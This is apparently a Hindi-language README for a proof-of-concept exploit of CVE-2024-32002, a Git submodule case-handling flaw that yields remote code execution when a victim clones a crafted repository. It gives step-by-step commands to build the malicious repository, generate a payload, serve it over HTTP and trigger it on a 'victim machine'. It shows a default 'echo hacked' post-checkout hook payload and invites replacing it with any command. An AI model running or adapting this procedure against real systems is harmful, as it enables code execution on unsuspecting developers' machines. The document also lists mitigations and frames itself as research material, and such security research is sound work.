CVE-2024-32002-hook

अवलोकन

इस रिपॉजिटरी में CVE-2024-32002 के लिए एक प्रूफ-ऑफ-कॉन्सेप्ट (PoC) शामिल है, जो Git में एक गंभीर कमजोरी है जो दुर्भावनापूर्ण रिपॉजिटरी के माध्यम से रिमोट कोड एक्ज़ीक्यूशन (RCE) की अनुमति देती है। यह एक्सप्लॉइट Windows और macOS पर Git की सबमॉड्यूल हैंडलिंग में केस-संवेदनशीलता की समस्या का फायदा उठाकर git clone ऑपरेशन के दौरान .git/hooks/ में एक दुर्भावनापूर्ण फ़ाइल लिखता है।

विशेषताएँ

• रिमोट कोड एक्ज़ीक्यूशन: क्लोन प्रक्रिया के दौरान RCE ट्रिगर करता है।
• क्रॉस-प्लेटफ़ॉर्म: Windows और macOS दोनों के लिए PoC हुक।
• ऑटो-कमांड इंजेक्शन: post-checkout हुक में स्वचालित रूप से एक दुर्भावनापूर्ण कमांड इंजेक्ट करता है।
• लोकल HTTP सर्वर: दुर्भावनापूर्ण रिपॉजिटरी को HTTP पर सर्व करने के लिए एक लोकल HTTP सर्वर के साथ बंडल किया गया है।

आवश्यकताएँ

• Python 3.6+
• Git (प्रभावित संस्करण: < 2.45.1)

उपयोग

चरण 1: रिपॉजिटरी क्लोन करें

git clone https://github.com/March0sZ/CVE-2024-32002-hook.git
cd CVE-2024-32002-hook

चरण 2: आवश्यक डायरेक्टरी बनाएँ

mkdir -p public/hooks

चरण 3: दुर्भावनापूर्ण रिपॉजिटरी सेट अप करें

cd public
git init
git config core.ignorecase false

नोट: core.ignorecase false आवश्यक है ताकि यह सुनिश्चित किया जा सके कि केस-इनसेंसिटिव फ़ाइल सिस्टम पर .git/hooks पथ में लिखा जा सके।

चरण 4: पेलोड जनरेट करें

cd ..
python3 generate_payload.py

यह public डायरेक्टरी में दुर्भावनापूर्ण फ़ाइलें बनाएगा।

चरण 5: रिपॉजिटरी को HTTP पर सर्व करें

python3 server.py

यह पोर्ट 8888 पर एक लोकल HTTP सर्वर शुरू करता है।

चरण 6: एक्सप्लॉइट ट्रिगर करें

पीड़ित मशीन पर, यह चलाएँ:

git clone http://<server-ip>:8888/ repo

क्लोन के बाद, post-checkout हुक इंजेक्ट किए गए कमांड को निष्पादित करेगा।

यह कैसे काम करता है

1. दुर्भावनापूर्ण रिपॉजिटरी में एक विशेष रूप से तैयार किया गया पाथ वाला सबमॉड्यूल होता है।
2. जब Git सबमॉड्यूल को चेक आउट करने की तैयारी करता है, तो यह पाथ के केस को गलत तरीके से संभालता है, जिससे एक फ़ाइल इच्छित डायरेक्टरी के बाहर लिखी जा सकती है।
3. यह फ़ाइल क्लोन की गई रिपॉजिटरी में .git/hooks/post-checkout के रूप में लिखी जाती है।
4. क्लोन पूरा होने पर, Git स्वचालित रूप से post-checkout को निष्पादित करता है, जिससे कोड एक्ज़ीक्यूशन होता है।

पेलोड

डिफ़ॉल्ट पेलोड कमांड है:

echo 'echo hacked' > .git/hooks/post-checkout && chmod +x .git/hooks/post-checkout

यह कमांड एक post-checkout हुक बनाता है जो जब भी हुक निष्पादित होता है तो hacked प्रिंट करता है। अपना खुद का कमांड निष्पादित करने के लिए generate_payload.py में पेलोड को संशोधित करें।

शमन के उपाय

• Git को संस्करण 2.45.1 या उसके बाद के संस्करण में अपडेट करें।
• अविश्वसनीय स्रोतों से रिपॉजिटरी क्लोन करने से बचें।

अस्वीकरण

यह प्रोजेक्ट केवल शैक्षिक और शोध उद्देश्यों के लिए है। इसका उपयोग केवल उन सिस्टम पर करें जिनके आप मालिक हैं या जिनके परीक्षण की आपके पास स्पष्ट अनुमति है। लेखक किसी भी दुरुपयोग के लिए ज़िम्मेदार नहीं है।

संदर्भ

• CVE-2024-32002 - NVD
• Git Security Advisories